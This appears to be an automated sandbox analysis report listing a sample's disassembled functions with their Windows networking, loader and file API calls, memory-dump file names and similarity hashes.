Function 00D323C0 Relevance: 18.4, APIs: 12, Instructions: 351
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setsockopt.WS2_32(000002F8,0000FFFF,00001006,?,00000008), ref: 00D32466
recv.WS2_32(?,00000004,00000002), ref: 00D32481
WSAGetLastError.WS2_32 ref: 00D32485
recv.WS2_32(00000000,0000000C,00000002,0000000C), ref: 00D324EE
recv.WS2_32(00000000,0000000C,00000008), ref: 00D3250F
setsockopt.WS2_32(0000FFFF,00001006,?,00000008,?), ref: 00D3258B
recv.WS2_32(00000000,?,00000008), ref: 00D325AC

Part of subcall function 00D33150: WSAStartup.WS2_32 ref: 00D3317A
Part of subcall function 00D33150: socket.WS2_32(?,?,?), ref: 00D3321D
Part of subcall function 00D33150: connect.WS2_32(00000000,00DBF6D1,?), ref: 00D33231
Part of subcall function 00D33150: closesocket.WS2_32(00000000), ref: 00D3323D
Part of subcall function 00D33150: WSACleanup.WS2_32 ref: 00D33250

recv.WS2_32(?,00000004,00000008), ref: 00D327D6
__Xtime_get_ticks.LIBCPMT ref: 00D327DA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D327E8
Sleep.KERNEL32(00000001,00000000,?,00002710,00000000), ref: 00D3284F
Sleep.KERNEL32(00000064,?,00002710,00000000), ref: 00D3285D

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: recv$Sleepsetsockopt$CleanupErrorLastStartupUnothrow_t@std@@@Xtime_get_ticks__ehfuncinfo$??2@closesocketconnectsocket
String ID:
API String ID: 2144401278-0
Opcode ID: d5ff4141ef854f88a7e4c730b962eaf4e1688f41d1a93616bc4dca8c721d2da2
Instruction ID: b8d6be18ff6e586675f94be19149aa2cb2f25816ed2474987361ec5ea747a1d4
Opcode Fuzzy Hash: d5ff4141ef854f88a7e4c730b962eaf4e1688f41d1a93616bc4dca8c721d2da2
Instruction Fuzzy Hash: 22E1FE70D00384EBDB15DBA4CC95BBDBBF4AF46310F280259E481AB2D2DB705D89DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D52CD0 Relevance: 9.3, APIs: 6, Instructions: 332
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(?,00CBF30E,?,00DBA5B3,000000FF), ref: 00D52D0C
GetLastError.KERNEL32(?,00DBA5B3,000000FF), ref: 00D52D17
std::_Throw_Cpp_error.LIBCPMT ref: 00D52D4E
std::_Throw_Cpp_error.LIBCPMT ref: 00D52D5F
GetModuleHandleA.KERNEL32(?), ref: 00D53048
GetProcAddress.KERNEL32(00000000,?), ref: 00D53053

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$AddressAttributesErrorFileHandleLastModuleProc
String ID:
API String ID: 1350367881-0
Opcode ID: 7d95fd2f0aee88894fa61e0c3d32004f818bf78f362604e2e67d341323042999
Instruction ID: 37a79998ba577db1534206aba6e417f3740e59db24e70ea31d737b2b59b35984
Opcode Fuzzy Hash: 7d95fd2f0aee88894fa61e0c3d32004f818bf78f362604e2e67d341323042999
Instruction Fuzzy Hash: 7AC19CB4D04209ABCF14CF98D8816EDFBB1FF49315F148699EC55A7340E730AA48DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C7A800 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 378
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00C7A959
___std_exception_destroy.LIBVCRUNTIME ref: 00C7A972
___std_exception_destroy.LIBVCRUNTIME ref: 00C7AB4E
___std_exception_destroy.LIBVCRUNTIME ref: 00C7AB67

Strings

value, xrefs: 00C7A8B3, 00C7AAA2

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: value
API String ID: 4194217158-494360628
Opcode ID: 5a0045326f1cd7c2532322dff78229878a35f731fd703af667e223918d0695bc
Instruction ID: c4bc67555766ee5f8592c18e6572ca62f91f3b68426898c4c33d99216b411eb8
Opcode Fuzzy Hash: 5a0045326f1cd7c2532322dff78229878a35f731fd703af667e223918d0695bc
Instruction Fuzzy Hash: A4F10270C002489FDB15DBA4C884BEEFBB4BF55310F148299E459A7782DB746B84DF62

Uniqueness

Uniqueness Score: -1.00%

Function 00D33150 Relevance: 7.6, APIs: 5, Instructions: 92
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 00D3317A
socket.WS2_32(?,?,?), ref: 00D3321D
connect.WS2_32(00000000,00DBF6D1,?), ref: 00D33231
closesocket.WS2_32(00000000), ref: 00D3323D
WSACleanup.WS2_32 ref: 00D33250

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: CleanupStartupclosesocketconnectsocket
String ID:
API String ID: 2410783842-0
Opcode ID: 954f71ee98091d0349dfe94de8b7976f78c5900a37ea2be21ce34d846b65a6a6
Instruction ID: 71a9475c7ef3b9e4ab175b32e9f8edff98c9bfd8bc7b82b0c9aa0ccf2eeb30cc
Opcode Fuzzy Hash: 954f71ee98091d0349dfe94de8b7976f78c5900a37ea2be21ce34d846b65a6a6
Instruction Fuzzy Hash: E331E4365043429BD7209F64DD48A2BBBE5FFC4734F144B1DF9A8D22E0D37499448AB6

Uniqueness

Uniqueness Score: -1.00%

Function 00C681E0 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 529
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(Ws2_32.dll,?,?,?,?,00DB88D8,00000000,00000000,-00DE9220), ref: 00C68566
GetProcAddress.KERNEL32(00000000,?), ref: 00C68574
WSASend.WS2_32(?,?,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00DB88D8,00000000,00000000,-00DE9220), ref: 00C68589

Strings

Ws2_32.dll, xrefs: 00C6855A

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: AddressHandleModuleProcSend
String ID: Ws2_32.dll
API String ID: 2819740048-3093949381
Opcode ID: 4a6340f6e3071dce73a8e301926dd8415b3d5f221c8bff93899dc38a0eb7d314
Instruction ID: 087791e6df43221580160ebb8e3387dbbf07c532d86c0c24ee7b44a77f318363
Opcode Fuzzy Hash: 4a6340f6e3071dce73a8e301926dd8415b3d5f221c8bff93899dc38a0eb7d314
Instruction Fuzzy Hash: C1121470D00258DFDB28CF68DC947ADBBB1EF45304F18425DE496AB682DB70AD89CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C67CC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 432
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(Ws2_32.dll,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00C68127
GetProcAddress.KERNEL32(00000000,?), ref: 00C68132
WSASend.WS2_32(?,?,00000001,00000000,00000000,00000000,00000000), ref: 00C6814B

Strings

Ws2_32.dll, xrefs: 00C6811E

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: AddressHandleModuleProcSend
String ID: Ws2_32.dll
API String ID: 2819740048-3093949381
Opcode ID: 7937d3f15b9bc66801ba94555335b0bd421f25d9aa8e1d463b08ca2c5094ca0a
Instruction ID: abb56d62c78772d56f36148425b7c7afe885736d978f4998d6ff091dd54a949e
Opcode Fuzzy Hash: 7937d3f15b9bc66801ba94555335b0bd421f25d9aa8e1d463b08ca2c5094ca0a
Instruction Fuzzy Hash: 38029E70A04241CFDB35CF68C890A6DBBB1FF45318F244A5DE4A29B792D731AD46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00D52150 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32(00000001), ref: 00D5219F
GetSystemMetrics.USER32(00000000), ref: 00D521A5

Strings

image/png, xrefs: 00D52272

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: MetricsSystem
String ID: image/png
API String ID: 4116985748-2966254431
Opcode ID: 2b274f15b16152769453609b521c5217dffa43f88d68bf137586d5cde7a646cf
Instruction ID: 1b81ff8367dcc6e03e43a03d10a4e54be8f4587e459de6bc5ca6c3614b97c7b3
Opcode Fuzzy Hash: 2b274f15b16152769453609b521c5217dffa43f88d68bf137586d5cde7a646cf
Instruction Fuzzy Hash: FD51357190030AABEF109FA0DC49BEEBBB8EF19315F140029ED05B6261D7759A89CB74

Uniqueness

Uniqueness Score: -1.00%

Function 00CA4019 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,0000000C,?,00000000,00DD8C88,00000014,00C9BE32,00000000,00000000,00000000), ref: 00CA419E
GetLastError.KERNEL32(?,00000000), ref: 00CA41A8

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: c3dd90701bacb894f6f8daad923707f8eaf5332de94dfb1f77f5fa85f3e65d37
Instruction ID: 80e69657d6faa665b52012e43fed30cd62d6f819d3ad7f25d8cd09c8d3a69340
Opcode Fuzzy Hash: c3dd90701bacb894f6f8daad923707f8eaf5332de94dfb1f77f5fa85f3e65d37
Instruction Fuzzy Hash: 9C61E47190021BAFDF15DFA8DC84EEEBBB9AF8A308F140145F914A7251D7B2DA41DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00CA58AA Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00CAC3D9,?,00000000,?,?,00CAC67A,?,00000007,?,?,00CACB6E,?,?), ref: 00CA58C0
GetLastError.KERNEL32(?,?,00CAC3D9,?,00000000,?,?,00CAC67A,?,00000007,?,?,00CACB6E,?,?), ref: 00CA58CB

Memory Dump Source

